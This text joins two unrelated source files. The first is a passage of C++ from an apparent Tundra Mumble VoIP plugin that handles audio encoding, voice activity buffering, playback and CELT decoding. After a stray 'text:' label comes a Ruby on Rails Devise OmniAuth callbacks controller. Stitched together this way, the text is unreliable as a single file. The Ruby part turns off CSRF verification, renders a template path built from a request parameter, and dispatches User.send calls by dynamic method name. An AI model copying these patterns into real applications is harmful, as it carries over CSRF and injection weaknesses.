                            isSpeech = true;
                    }
                }
            }

            // Encode
            unsigned char compressedBuffer[512];
            int bytesWritten = codec->Encode(pcmFrame, compressedBuffer, localQualityBitrate);
            if (bytesWritten > 0)
            {
                QByteArray encodedFrame(reinterpret_cast<const char*>(compressedBuffer), bytesWritten);

                // If speech, add to encoded frames. But first
                // append any 'prediction' buffered frames so start of sentences
                // can get to the outgoing buffer safely.
                if (isSpeech || wasPreviousSpeech)
                {
                    if (detectVAD && pendingVADPreBuffer.size() > 0)
                    {
                        encodedFrames.append(pendingVADPreBuffer);
                        pendingVADPreBuffer.clear();
                    }
                    encodedFrames.push_back(encodedFrame);
                }
                // If voice activity detection is enabled but this is
                // not speech, add the frame to the VAD 'prediction' buffer.
                else if (detectVAD && !isSpeech && !wasPreviousSpeech)
                {
                    while(pendingVADPreBuffer.size() >= 5)
                    {
                        if (!pendingVADPreBuffer.isEmpty())
                            pendingVADPreBuffer.removeFirst();
                        else
                            break;
                    }
                    pendingVADPreBuffer.push_back(encodedFrame);
                }
            }
            wasPreviousSpeech = isSpeech;
        }
        pendingPCMFrames.clear();
        mutexOutputPCM.unlock();

        // Push encoded frames for the main thread to send out to network.
        mutexOutputEncoded.lock();
        for(int i=0; i<encodedFrames.size(); ++i)
            pendingEncodedFrames.append(QByteArray(encodedFrames.at(i)));
        mutexOutputEncoded.unlock();
    }

    void AudioProcessor::GetLevels(float &peakMic, bool &speaking)
    {
        // The peak mic level and is speaking are written in a mutexOutputPCM lock.
        // So use the same lock to read the data out for main thread usage.
        if (mutexOutputPCM.tryLock(15))
        {
            peakMic = levelPeakMic;
            speaking = isSpeech;
            mutexOutputPCM.unlock();
        }
        else
        {
            peakMic = 0.f;
            speaking = false;
        }
    }

    void AudioProcessor::SetOutputAudioMuted(bool outputAudioMuted_)
    {
        // This function is called in the main thread
        if (!framework)
            return;

        mutexAudioMute.lockForWrite();
        outputAudioMuted = outputAudioMuted_;
        mutexAudioMute.unlock();

        if (!outputAudioMuted_)
        {
            mutexAudioSettings.lockForWrite();

            // Reset back to ultra state, gets increased automatically if necessary.
            qualityFramesPerPacket = MUMBLE_AUDIO_FRAMES_PER_PACKET_ULTRA;

            // Recording buffer of 40 celt frames, 38400 bytes
            int bufferSize = (MUMBLE_AUDIO_SAMPLES_IN_FRAME * MUMBLE_AUDIO_SAMPLE_WIDTH / 8) * 40;
            if (!framework->Audio()->StartRecording(audioSettings.recordingDevice, MUMBLE_AUDIO_SAMPLE_RATE, true, false, bufferSize))
            {
                LogWarning("Could not open recording device '" + audioSettings.recordingDevice + "'. Trying to open the default device instead.");
                framework->Audio()->StartRecording("", MUMBLE_AUDIO_SAMPLE_RATE, true, false, bufferSize);
            }

            mutexAudioSettings.unlock();
        }
        else
            framework->Audio()->StopRecording();

        ClearOutputAudio();
    }

    void AudioProcessor::SetInputAudioMuted(bool inputAudioMuted_)
    {
        // This function is called in the main thread
        if (!framework)
            return;

        mutexAudioMute.lockForWrite();
        inputAudioMuted = inputAudioMuted_;
        mutexAudioMute.unlock();

        ClearInputAudio();
    }

    void AudioProcessor::ApplyFramesPerPacket(int framesPerPacket)
    {
        if (framesPerPacket < 2)
            framesPerPacket = 2;
        if (framesPerPacket > 10)
            framesPerPacket = 10;

        LogWarning(LC + "Changing frames per packet to " + QString::number(framesPerPacket) + ", changing the rate is not recommended for other than debugging!");

        mutexAudioSettings.lockForWrite();
        bufferFullFrames = 0;
        qualityFramesPerPacket = framesPerPacket;
        mutexAudioSettings.unlock();

        ClearOutputAudio();
    }

    void AudioProcessor::ApplySettings(AudioSettings settings)
    {
        bool positionalRangesChanged = false;
        bool recondingDeviceChanged = false;
        int changedInnerRange = 0;
        int changedOuterRange = 0;

        // This function is called in the main thread
        mutexAudioSettings.lockForWrite();

        // Detect recording device changed
        if (audioSettings.recordingDevice != settings.recordingDevice)
            recondingDeviceChanged = true;

        // Detect if positional playback ranges changed.
        if (audioSettings.innerRange != settings.innerRange || audioSettings.outerRange != settings.outerRange)
        {
            positionalRangesChanged = true;
            changedInnerRange = settings.innerRange;
            changedOuterRange = settings.outerRange;
        }

        audioSettings = settings;
        if (audioSettings.suppression > 0)
            audioSettings.suppression = 0;

        switch(audioSettings.quality)
        {
            case QualityLow:
            {
                qualityBitrate = MUMBLE_AUDIO_QUALITY_LOW;
                break;
            }
            case QualityBalanced:
            {
                qualityBitrate = MUMBLE_AUDIO_QUALITY_BALANCED;
                break;
            }
            case QualityHigh:
            {
                qualityBitrate = MUMBLE_AUDIO_QUALITY_ULTRA;
                break;
            }
        }

        // Reset back to ultra state, gets increased automatically if necessary.
        bufferFullFrames = 0;
        qualityFramesPerPacket = MUMBLE_AUDIO_FRAMES_PER_PACKET_ULTRA;

        mutexAudioSettings.unlock();

        // Apply new positional ranges to existing positional sound channels.
        if (positionalRangesChanged)
        {
            if (mutexInput.tryLock(15))
            {
                for (AudioStateMap::iterator iter = inputAudioStates.begin(); iter != inputAudioStates.end(); ++iter)
                {
                    UserAudioState &userAudioState = iter->second;
                    if (userAudioState.soundChannel.get() && userAudioState.soundChannel->IsPositional())
                        userAudioState.soundChannel->SetRange(static_cast<float>(changedInnerRange), static_cast<float>(changedOuterRange), 1.0f);
                }
                mutexInput.unlock();
            }
        }

        preProcessorReset = true;
        ResetSpeexProcessor();

        // Start recording with the new device if changed.
        // If recording is not enabled, change to false,
        // it will be applied on the when output mute state is changed.
        if (recondingDeviceChanged)
        {
            mutexAudioMute.lockForRead();
            if (outputAudioMuted)
                recondingDeviceChanged = false;
            mutexAudioMute.unlock();
        }

        if (recondingDeviceChanged)
        {
            LogInfo(LC + "Recording device change detected to '" + (settings.recordingDevice.isEmpty() ? "Default Recording Device" : settings.recordingDevice) + "'.");
            framework->Audio()->StopRecording();

            // Recording buffer of 40 celt frames, 38400 bytes
            int bufferSize = (MUMBLE_AUDIO_SAMPLES_IN_FRAME * MUMBLE_AUDIO_SAMPLE_WIDTH / 8) * 40;
            framework->Audio()->StartRecording(settings.recordingDevice, MUMBLE_AUDIO_SAMPLE_RATE, true, false, bufferSize);

            ClearOutputAudio();
        }
    }

    MumbleAudio::AudioSettings AudioProcessor::GetSettings()
    {
        mutexAudioSettings.lockForRead();
        MumbleAudio::AudioSettings threadSettings = audioSettings;
        mutexAudioSettings.unlock();
        return threadSettings;
    }

    ByteArrayVector AudioProcessor::ProcessOutputAudio()
    {
        // This function is called in the main thread
        if (!framework)
            return ByteArrayVector();

        // Get recorded PCM frames from AudioAPI.
        PROFILE(Mumble_ProcessOutputAudio_Queue_Encoding)
        std::vector<SoundBuffer> pcmFrames;
        uint celtFrameSize = MUMBLE_AUDIO_SAMPLES_IN_FRAME * MUMBLE_AUDIO_SAMPLE_WIDTH / 8;
        while (framework->Audio()->GetRecordedSoundSize() >= celtFrameSize)
        {
            SoundBuffer outputPCM;
            outputPCM.data.resize(celtFrameSize);
            uint bytesOut = framework->Audio()->GetRecordedSoundData(&outputPCM.data[0], celtFrameSize);
            if (bytesOut == celtFrameSize)
                pcmFrames.push_back(outputPCM);
        }
        if (pcmFrames.size() > 0)
        {
            // We want to fail here if something is about to give on the mutexes.
            if (mutexOutputPCM.tryLock(15))
            {
                pendingPCMFrames.insert(pendingPCMFrames.end(), pcmFrames.begin(), pcmFrames.end());
                mutexOutputPCM.unlock();
            }
            else
                LogDebug(LC + QString("Failed to acquire pending PCM frames mutex for %1 frames").arg(pcmFrames.size()));
        }
        ELIFORP(Mumble_ProcessOutputAudio_Queue_Encoding)

        PROFILE(Mumble_ProcessOutputAudio_Get_Encoded)
        QMutexLocker lockEncoded(&mutexOutputEncoded);

        // No queued encoded frames for network.
        if (pendingEncodedFrames.size() == 0)
            return ByteArrayVector();

        // Get packet count per frame.
        mutexAudioSettings.lockForRead();
        int framesPerPacket = qualityFramesPerPacket;
        mutexAudioSettings.unlock();

         /** Ensure we are not buffing faster than what is sent to network. Increasing the frames per packet (automatically) is not a good thing.
            This happens when our main thread gets blocked and our encoded frames gets filled.
            We can increase the frames per packet to catch up quickly, but going anything above 2-4 is bad found sound quality. Hence we reset back to
            ULTRA == 2 after 5 seconds, we assume the mainloop blockage like loading heavy assets has ended and want to return to a proper voice network
            sync rate. If your FPS is bad all the time, eg. in a particular heavy scene to render, this will keep hitting and there is little we can do, if you
            have constant < 25 FPS in Tundra your voip will quality will suck anyways.

            This is Tundra VOIPs main problem: We are trying to stream and receive real time voice audio that will at times get interrupted by something
            blocking the main thread. This is why we have one audio thread and secondary network thread and process voip at 60 fps if we can. The upside
            of normal voip clients like Mumble is that they don't have 3D rendering interrupting them and they can focus on doing voice stuff ;)

            @todo Remove OpenAL usage for input microphone and 3D positional playback. Thread microphone by using WASAPI on windows and something on linux/mac.
            Research our options for threaded recording/playback without using Framework or AudioAPI pointers in this audio processing thread.
        */
        if (pendingEncodedFrames.size() > framesPerPacket * 10)
        {
            // Do some helpful info logs if we are auto increasing frames per packet count.
            if (framesPerPacket > 8)
                LogInfo(LC + QString("Output buffer full with %1/%2 frames, frames/packet is %3").arg(pendingEncodedFrames.size()).arg(framesPerPacket*10).arg(framesPerPacket));

            // Remove oldest frames to get the buffer to a acceptable size.
            while(pendingEncodedFrames.size() > framesPerPacket * 10)
            {
                if (!pendingEncodedFrames.isEmpty())
                    pendingEncodedFrames.removeFirst();
                else
                    break;
            }

            mutexAudioSettings.lockForWrite();
            bufferFullFrames++;
            if (bufferFullFrames >= 5 && qualityFramesPerPacket <= 8)
            {
                LogInfo(LC + QString("Output buffer full with %1/%2 frames, auto increasing frames/packet to %3 due to potential main thread blockage.").arg(pendingEncodedFrames.size()).arg(framesPerPacket*10).arg(framesPerPacket+2));

                bufferFullFrames = 0;
                qualityFramesPerPacket += 2;
                framesPerPacket = qualityFramesPerPacket;

                if (!resetFramesPerPacket.isActive())
                    resetFramesPerPacket.start(5000);
            }
            mutexAudioSettings.unlock();
        }

        // If we are speaking send out full 'framesPerPacket' frames. If we are not speaking send whatever is left in the buffer but max is still 'framesPerPacket'.
        int framesToPacket = (isSpeech || wasPreviousSpeech) ? framesPerPacket : qMin(framesPerPacket, pendingEncodedFrames.size());

        // Enough encoded frames in the ready queue
        if (pendingEncodedFrames.size() >= framesToPacket)
        {
            ByteArrayVector sendOutNow;
            for (int i=0; i<framesToPacket; ++i)
            {
                if (!pendingEncodedFrames.isEmpty())
                    sendOutNow.push_back(pendingEncodedFrames.takeFirst());
                else
                    break;
            }
            return sendOutNow;
        }
        else
            return ByteArrayVector();
    }

    void AudioProcessor::PlayInputAudio(MumblePlugin *mumble)
    {
        // This function is called in the main thread
        if (!framework)
            return;

        // Read positional playback settings
        mutexAudioSettings.lockForRead();
        int allowReceivingPositional = audioSettings.allowReceivingPositional;
        int positionalInnerRange = allowReceivingPositional ? audioSettings.innerRange : 0;
        int positionalOuterRange = allowReceivingPositional ? audioSettings.outerRange : 0;
        mutexAudioSettings.unlock();

        // Lock user audio states. This is the place we want to fail on a tryLock as we can play the frames later as well.
        // If this fails too many times we just remove the oldest frames.
        if (!mutexInput.tryLock(15))
        {
            LogDebug(LC + "PlayInputAudio tryLock(15) failed to acquire lock!");
            return;
        }
        if (inputAudioStates.empty())
        {
            mutexInput.unlock();
            return;
        }

        AudioStateMap::iterator end = inputAudioStates.end();
        for (AudioStateMap::iterator iter = inputAudioStates.begin(); iter != end; ++iter)
        {
            uint userId = iter->first;
            UserAudioState &userAudioState = iter->second;

            // We must have the user if we are receiving audio from him.
            MumbleUser *user = mumble->User(userId);
            if (!user)
                continue;

            // When muted don't play any pending frames, just delete them.
            if (user->isMuted)
                userAudioState.frames.clear();

            // Check speaking state, not speaking if pending frames is empty and SoundChannel is not playing.
            if (user->isMuted || userAudioState.frames.empty())
            {
                bool playing = false;
                if (userAudioState.soundChannel.get())
                {
                    // Continue showing "playing" state until all queued buffers have been played.
                    // Remove the sound channel once we are done with it 1) muted 2) no pending frames, user is silent.
                    if (userAudioState.soundChannel->State() == SoundChannel::Playing)
                        playing = true;
                    else if (userAudioState.soundChannel->State() == SoundChannel::Pending)
                    {
                        userAudioState.soundChannel->Stop();
                        userAudioState.soundChannel.reset();
                    }
                }
                if (!playing)
                    user->SetAndEmitSpeaking(false);
                continue;
            }

            // Report if we are getting too much buffers from a single user. We don't want to feed OpenAL too many
            // buffers as it can crash and also there is not sense in playing very old audio.
            if (userAudioState.frames.size() > 150)
            {
                LogWarning(LC + QString("Input frame buffer size too high (%1) for user id %2, removing oldest.").arg(userAudioState.frames.size()).arg(userId));
                while (userAudioState.frames.size() > 150)
                    userAudioState.frames.pop_front();
            }

            // Setup existing audio channels and users positional state.
            if (userAudioState.soundChannel.get() && allowReceivingPositional)
            {
                // Update positional and position info.
                if (userAudioState.soundChannel->IsPositional() != userAudioState.isPositional)
                    userAudioState.soundChannel->SetPositional(userAudioState.isPositional);
                if (userAudioState.isPositional)
                {
                    // Only update positional data to the channel if it has changed as it does multiple calls to OpenAL.
                    userAudioState.soundChannel->SetRange(static_cast<float>(positionalInnerRange), static_cast<float>(positionalOuterRange), 1.0f);
                    if (!userAudioState.soundChannel->Position().Equals(userAudioState.pos))
                        userAudioState.soundChannel->SetPosition(userAudioState.pos);
                    if (!user->isMe)
                        user->pos = userAudioState.pos;
                }

                // Only emits on change.
                if (!user->isMe)
                    user->SetAndEmitPositional(userAudioState.isPositional);
            }
            else if (userAudioState.soundChannel.get() && !allowReceivingPositional)
            {
                // Reset positional info from the channel
                if (userAudioState.soundChannel->IsPositional())
                    userAudioState.soundChannel->SetPositional(false);

                // Reset users positional state.
                if (!user->isMe && user->isPositional)
                {
                    user->pos = float3::zero;
                    user->SetAndEmitPositional(false);
                }
            }

            // Iterate audio frames for user
            AudioFrameDeque::iterator frameEnd = userAudioState.frames.end();
            for (AudioFrameDeque::iterator frameIter = userAudioState.frames.begin(); frameIter != frameEnd; ++frameIter)
            {
                const SoundBuffer &frame = (*frameIter);
                if (userAudioState.soundChannel.get())
                {
                    // Create new AudioAsset to be added to the sound channels playback buffer.
                    AudioAssetPtr audioAsset = framework->Audio()->CreateAudioAssetFromSoundBuffer(frame);
                    if (audioAsset.get())
                    {
                        // Update user speaking state and add buffer to the sound channel.
                        user->SetAndEmitSpeaking(true); // Only emits on change.
                        userAudioState.soundChannel->AddBuffer(audioAsset);
                    }
                    else
                    {
                        LogDebug(LC + QString("Failed to create new sound buffer for user id %1, clearing all his input frames").arg(userId));

                        // Something went wrong, eg. out of memory, release "broken" SoundChannel and its data.
                        // Bail out as otherwise the next buffer creation will most likely fail the same way.
                        user->SetAndEmitSpeaking(false); // Only emits on change.
                        userAudioState.soundChannel->Stop();
                        userAudioState.soundChannel.reset();
                        break;
                    }
                }
                else
                {
                    // Create sound channel with initial audio frame. We should get here only once per this for loop.
                    userAudioState.soundChannel = framework->Audio()->PlaySoundBuffer(frame, SoundChannel::Voice);
                    if (userAudioState.soundChannel.get())
                    {
                        // Set positional if available and our local settings allows it
                        if (allowReceivingPositional && userAudioState.isPositional)
                        {
                            userAudioState.soundChannel->SetPositional(true);
                            userAudioState.soundChannel->SetRange(static_cast<float>(positionalInnerRange), static_cast<float>(positionalOuterRange), 1.0f);
                            userAudioState.soundChannel->SetPosition(userAudioState.pos);
                            if (!user->isMe)
                            {
                                user->pos = userAudioState.pos;
                                user->SetAndEmitPositional(true);
                            }
                        }
                        else
                        {
                            userAudioState.soundChannel->SetPositional(false);
                            if (!user->isMe && user->isPositional)
                            {
                                user->pos = float3::zero;
                                user->SetAndEmitPositional(false);
                            }
                        }

                        // Update user speaking state. Only emits on change.
                        user->SetAndEmitSpeaking(true);
                    }
                }
            }

            // Clear users input frames
            userAudioState.frames.clear();
        }

        mutexInput.unlock();
    }

    void AudioProcessor::ClearInputAudio()
    {
        // This function should be called in the main thread
        QMutexLocker lock(&mutexInput);
        if (inputAudioStates.size() > 0)
            inputAudioStates.clear();
    }

    void AudioProcessor::ClearInputAudio(uint userId)
    {
        // This function should be called in the main thread
        QMutexLocker lock(&mutexInput);

        AudioStateMap::iterator userStateIter = inputAudioStates.find(userId);
        if (userStateIter != inputAudioStates.end())
        {
            UserAudioState &userState = userStateIter->second;
            userState.frames.clear();
            if (userState.soundChannel.get())
                userState.soundChannel->Stop();
            userState.soundChannel.reset();
            inputAudioStates.erase(userStateIter);
        }
    }

    void AudioProcessor::ClearOutputAudio()
    {
        // This function should be called in the main thread
        {
            QMutexLocker lockEncoded(&mutexOutputEncoded);
            pendingEncodedFrames.clear();
            pendingVADPreBuffer.clear();
        }
        {
            QMutexLocker lockOutput(&mutexOutputPCM);
            pendingPCMFrames.clear();
        }
    }

    int AudioProcessor::CodecBitStreamVersion()
    {
        if (this->isRunning())
        {
            LogError(LC + "CodecBitStreamVersion() called when audio thread is running, -1 will be returned!");
            return -1;
        }

        if (!codec)
            return -1;
        else
            return codec->BitStreamVersion();
    }

    void AudioProcessor::PrintCeltError(int celtError, bool decoding)
    {
        // This function is called in the audio thread
        if (celtError == CELT_OK)
            return;

        QString base(LC + (decoding == true ? "celt decoding error: " : "celt encoding error: "));

        switch (celtError)
        {
            case CELT_BAD_ARG:
                LogError(base + "CELT_BAD_ARG");
                break;
            case CELT_INVALID_MODE:
                LogError(base + "CELT_INVALID_MODE");
                break;
            case CELT_INTERNAL_ERROR:
                LogError(base + "CELT_INTERNAL_ERROR");
                break;
            case CELT_CORRUPTED_DATA:
                LogError(base + "CELT_CORRUPTED_DATA");
                break;
            case CELT_UNIMPLEMENTED:
                LogError(base + "CELT_UNIMPLEMENTED");
                break;
            case CELT_INVALID_STATE:
                LogError(base + "CELT_INVALID_STATE");
                break;
            case CELT_ALLOC_FAIL:
                LogError(base + "CELT_ALLOC_FAIL");
                break;
            default:
                LogError(base + "Unknown error enum: " + QString::number(celtError));
                break;
        }
    }

    void AudioProcessor::OnAudioReceived(uint userId, uint seq, ByteArrayVector frames, bool isPositional, float3 pos)
    {
        if (!codec)
            return;

        // This function is called in the audio thread
        if (frames.size() == 0)
            return;

        // This will never* hit if the server was properly informed that we don't want to receive audio,
        // from all or from certain users. See MumblePlugin::SetInputAudioMuted.
        // *The return here will only hit for a short period when input was muted
        // to where the server receives this information and shuts down sending audio to us.
        mutexAudioMute.lockForRead();
        if (inputAudioMuted)
        {
            mutexAudioMute.unlock();
            return;
        }
        mutexAudioMute.unlock();

        QMutexLocker lockBuffers(&mutexInput);
        UserAudioState &userAudioState = inputAudioStates[userId]; // Creates a new one if does not exist already.

        // If you change audio output settings in Mumble or various other things, sequence will reset to 0.
        // If this is received we need to reset our tracking sequence number as well.
        if (seq == 0)
            userAudioState.lastSeq = 0;

        // If this sequence is older than what has been previously received, ignore the frames
        if (userAudioState.lastSeq > seq)
            return;

        // Update the users audio state struct
        userAudioState.lastSeq = seq;
        userAudioState.isPositional = isPositional;
        if (userAudioState.isPositional)
            userAudioState.pos = pos;

        for (ByteArrayVector::const_iterator frameIter = frames.begin(); frameIter != frames.end(); ++frameIter)
        {
            const QByteArray &inputFrame = (*frameIter);
            SoundBuffer soundFrame;

            int celtResult = codec->Decode(inputFrame.data(), inputFrame.size(), soundFrame);
            if (celtResult == CELT_OK)
                userAudioState.frames.push_back(soundFrame);
            else
            {
                PrintCeltError(celtResult, true);
                userAudioState.frames.clear();
                return;
            }
        }
    }

    void AudioProcessor::OnResetFramesPerPacket()
    {
        mutexAudioSettings.lockForWrite();
        bufferFullFrames = 0;
        qualityFramesPerPacket = MUMBLE_AUDIO_FRAMES_PER_PACKET_ULTRA;
        mutexAudioSettings.unlock();
    }
}


text:
class Users::OmniauthCallbacksController < Devise::OmniauthCallbacksController
  # The default OmniAuth forms don't provide CSRF tokens, so we can't verify
  # them. Trying to verify results in a cleared session.
  skip_before_filter :verify_authenticity_token

  def passthru
    begin
      render "modules/#{params[:provider]}_auth_form"
    rescue ActionView::MissingTemplate
      super
    end
  end

  def after_omniauth_failure_path_for(scope)
    new_user_session_path(scope)
  end

  def method_missing(sym, *args, &block)
    logger.debug "Attempting to find user with #{sym.to_s} strategy"
    find_user(sym.to_s)
  end

  def find_user(auth_type)
    auth_type.downcase!
    find_method = "find_for_#{auth_type}".to_sym
    logger.debug "#{auth_type} :: #{current_user.inspect}"
  	@user = User.send(find_method,request.env["omniauth.auth"], current_user)
    if @user.persisted?
      flash[:notice] = I18n.t "devise.omniauth_callbacks.success", :kind => auth_type
      sign_in_and_redirect @user, :event => :authentication
    else
      session["devise.#{auth_type}_data"] = request.env["omniauth.auth"]
      redirect_to root_url #Have this redirect someplace better like IU CAS guest account creation page
    end
  end
  protected :find_user
end